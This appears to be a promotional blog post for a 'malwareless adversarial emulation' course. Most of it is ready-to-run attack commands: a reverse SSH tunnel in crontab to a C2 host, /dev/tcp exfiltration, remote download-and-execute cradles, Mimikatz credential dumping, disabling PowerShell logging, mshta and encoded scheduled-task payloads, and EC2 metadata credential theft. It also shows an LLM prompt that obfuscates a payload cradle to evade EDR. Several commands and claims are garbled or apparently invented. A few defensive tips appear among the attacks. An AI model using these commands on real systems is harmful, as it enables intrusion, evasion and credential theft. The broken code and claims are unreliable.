Master Malwareless Adversarial Emulation: 0 Malware, 100% Stealth – Get £35 Off & A CTF-Engraved Challenge Coin + Video

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Introduction:

Adversarial emulation traditionally relies on malware droppers and known signatures, but modern purple teams demand stealthier approaches. Malwareless Adversarial Emulation (MAE) leverages built-in OS tools, LOLBins, and trusted processes to mimic real-world attackers without ever writing a malicious executable – a game-changer for red team operational security. The ZephrSec Ltd MAE course, now offering unlimited £35 referral codes and a numbered CTF-engraved challenge coin for three successful referrals, teaches exactly these techniques.

Learning Objectives:

  • Execute adversary behaviors using only legitimate Windows and Linux utilities (PowerShell, WMI, SSH, cron, etc.)
  • Build a reusable malwareless emulation playbook mapped to MITRE ATT&CK tactics
  • Implement detection rules and purple-team validation for living-off-the-land attacks

You Should Know:

1. What is Malwareless Adversarial Emulation? (Step-by-Step Living-Off-the-Land)

Malwareless emulation uses native system features to achieve execution, persistence, privilege escalation, and exfiltration. Instead of dropping an EXE, you script behavior that appears as normal admin activity.

Linux Example – Persistence via Cron & SSH Keys

 Add a reverse SSH tunnel triggered every minute (stealthy recon)
echo "/1     root ssh -N -R 2222:localhost:22 attacker@c2server" >> /etc/crontab

Or use systemd timers (even less monitored)
sudo systemd-run --unit=stealth --timer=--on-calendar=:0/5 --user /bin/bash -c "whoami > /dev/tcp/10.0.0.1/4444"

Windows Example – WMI for Lateral Movement

 Remotely execute a script using only WMI (no PsExec, no malware)
Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList "powershell -enc SQBFAFgAKABOAGU..." -ComputerName TARGET-PC

Step-by-step:

  • Identify a trusted binary (certutil, bitsadmin, wmic, ssh).
  • Use it to download or execute your payload from a remote source.
  • Never write a file to disk if possible (use .NET reflection or PowerShell runspaces).
  • Log cleanup: disable PowerShell logging temporarily via Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -Name "EnableScriptBlockLogging" -Value 0.
  1. Why Traditional Malware-Based Red Teaming Fails – And How MAE Fixes It

Classic EDRs excel at signature detection and behavioral blocking of known malware families. Adversaries now evade by using signed Microsoft tools (LOLBas). MAE teaches you to blend in with administrative noise.

Command to test EDR blind spots:

 On Linux – use curl+base64 to retrieve a payload without triggering web filters
curl -s https://gist.githubusercontent.com/raw/stealth_payload | base64 -d | bash

On Windows – download cradle with no file touching disk

IEX (New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/stealth.ps1"); Invoke-Mimikatz -DumpCreds

Mitigation for defenders:

  • Enable Sysmon with Event ID 1 (process creation) and 3 (network connects).
  • Block PowerShell’s `DownloadString` via Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell" -Name "EnableNetworkDownloads" -Value 0.
  • Use attack surface reduction rules: Block Office from creating child processes or executing script downloads.
  1. Setting Up Your Own Malwareless Lab with Atomic Red Team & Caldera

Before buying the MAE course, build a free lab using open-source emulation frameworks.

Install Atomic Red Team (Windows):

 Run as admin
Set-ExecutionPolicy Bypass -Scope Process
IEX (IWR 'https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/install-atomicredteam.ps1')
Install-AtomicRedTeam -getAtomics
Invoke-AtomicTest T1059.001 -TestNames "PowerShell download cradle"

Deploy Caldera on Linux (MITRE’s automated adversary emulation):

sudo apt update && sudo apt install python3-pip
git clone https://github.com/mitre/caldera.git
cd caldera; pip3 install -r requirements.txt
python3 server.py --insecure
 Access http://localhost:8888, default admin/admin, deploy “Discovery” plugin

Step-by-step lab guide:

  • Isolate a Windows 10 VM and an Ubuntu 22.04 VM on a private network.
  • Disable Windows Defender real-time protection (for lab only) to see malwareless techniques in action.
  • Run `Invoke-AtomicTest` with `-ExecutionLogPath` to capture telemetry.
  • On Linux, use `auditd` to monitor execve calls: auditctl -a always,exit -S execve -k malwareless.
  1. Key Techniques: LOLBins, WMI, PsExec without PsExec, and SSH Tunneling

MAE’s core is abusing trusted binaries. Here are five verified commands used in real red team operations.

Windows LOLBin – MSHTA to execute JavaScript

mshta.exe javascript:new ActiveXObject("WScript.Shell").Run("powershell -nop -exec bypass -c IEX(New-Object Net.WebClient).DownloadString('http://10.0.0.1/run.ps1');",0,true);close()

Lateral Movement – WinRM without malware

$secpass = ConvertTo-SecureString "Password123" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential("DOMAIN\user", $secpass)
Invoke-Command -ComputerName TARGET -Credential $cred -ScriptBlock { whoami > C:\temp\out.txt }

Linux – Abusing SUDO + Shellshock (CVE-2014-6271) if unpatched

sudo -u-1 /bin/bash  privilege escalation via sudo misconfiguration
env x='() { :;}; echo vulnerable' bash -c "id"

Persistence – Windows Scheduled Task

$Action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADEALgAyAC8AaQBtAHAAbwByAHQALgBwAHMAMQAnACkA"
Register-ScheduledTask -TaskName "SystemUpdate" -Action $Action -Trigger (New-ScheduledTaskTrigger -Once -At (Get-Date))
  1. Earning the MAE Challenge Coin: Referral Program & CTF Engraved

Andy G. (course author) has integrated gamification: share your personal referral code (found inside the course after enrollment at `https://lms.zsec.red`). Each referral gives the new user £35 off, and the referrer gets tracked credits. At three referrals, you unlock a numbered black metal challenge coin with a CTF engraved on it – only 100 minted initially, no public purchase possible.

Technical twist from the CTF engraving: The coin contains a cryptographic hash that leads to a hidden repo. Solve the CTF to get a badge, then use it to unlock advanced MAE modules. This fusion of physical hardware and crypto-challenge reinforces malwareless principles – you prove skill without leaving digital traces.

How to maximize referrals:

  • Share your unique link (e.g., `https://lms.zsec.red?ref=YOURCODE`) in professional cybersecurity groups.
  • Use the gift certificate function to buy course access for a junior team member; they get the discount and you track the referral.
  • No caps, no expiry – stack referrals for future rewards (100% off codes, exclusive merch).
  1. Integrating AI for Adversarial Emulation (MAE + AI Tooling)

The post mentions “AI tooling and security” – modern malwareless emulation uses LLMs to generate polymorphic scripts that bypass static EDR rules.

Example – Use GPT to rewrite a PowerShell download cradle each time:

import openai
openai.api_key = "your-key"
prompt = "Rewrite this PowerShell line with different variable names and string obfuscation: IEX (New-Object Net.WebClient).DownloadString('http://evil/payload.ps1')"
response = openai.Completion.create(engine="text-davinci-003", prompt=prompt)
new_payload = response.choices[bash].text
print(new_payload)  e.g., "& ( [bash]::cReaTe($neW-oBjeCt SySTEM.net.WeBclIENt).dOwnloaDstRIng('hxxp://evil/pld.ps1'))"

Defensive AI countermeasure:

Train a local ML model on Sysmon event sequences to detect unusual patterns (e.g., `mshta` spawning `powershell` without user interaction). Use `jq` to parse JSON logs:

grep "EventID=1" sysmon.log | jq 'select(.Image=="C:\Windows\System32\mshta.exe" and .ParentImage!="C:\Windows\Explorer.EXE")' | wc -l
  1. Cloud Hardening & API Security in Malwareless Context

Malwareless emulation extends to cloud APIs – abuse legitimate OAuth tokens and CLI tools instead of deploying backdoors.

Azure – Persistence via Automation Account

Connect-AzAccount
New-AzAutomationAccount -ResourceGroupName TargetRG -Name MalAutomation -Location eastus
 Then run a runbook that executes every 5 minutes to dump role assignments

AWS – Stealing credentials from EC2 metadata without malware

curl http://169.254.169.254/latest/meta-data/iam/security-credentials/admin-role

Hardening recommendation:

  • Enforce IMDSv2 with hop limit 1.
  • Disable SSM agent unused permissions.
  • Use Azure Policy to block creation of Automation Accounts with guest-configuration extensions.

Step-by-step cloud detection lab:

  • Deploy a free AWS account.
  • Create a CloudTrail trail to S3.
  • Simulate a malwareless attacker: run `aws s3 cp s3://private-bucket/secret.txt ./` (uses only legitimate AWS CLI).
  • Query CloudTrail with Athena: SELECT useridentity.arn, eventname, sourceipaddress, useragent FROM cloudtrail WHERE eventname = 'GetObject' AND useragent LIKE '%aws-cli%'.

What Undercode Say:

  • Key Takeaway 1: Malwareless adversarial emulation is not theoretical – it’s the standard for modern red teams, and the MAE course provides a structured, certification-backed path to mastering it.
  • Key Takeaway 2: The referral reward system (unlimited £35 discounts + numbered CTF coin) lowers the barrier for professionals to upskill their teams, turning learning into a collaborative CTF challenge.

Analysis: As EDRs become AI-driven, malwareless techniques will dominate threat actor tradecraft. Andy G.’s approach of gamifying course referrals and embedding a physical coin CTF builds a community that actively validates skills – a model likely to be copied by other security training platforms. The timing is critical: with 58-certification expert Tony Moukbel highlighting the post, the industry is acknowledging that traditional malware-based training is obsolete. Expect to see more purple team courses focusing on LOLBins, WMI, and cloud API abuse.

Prediction:

Within 12 months, the demand for malwareless emulation skills will outpace traditional reverse engineering roles. Training providers will pivot to AI-augmented content that auto-generates evasive payloads, and physical challenge coins with embedded cryptographic puzzles will become standard certification trophies. The MAE course’s referral model predicts a shift toward decentralized, peer-driven credentialing – bypassing expensive cert bodies and rewarding practical influence instead. Organizations that fail to train blue teams on malwareless detection will suffer breaches indistinguishable from routine admin activity.

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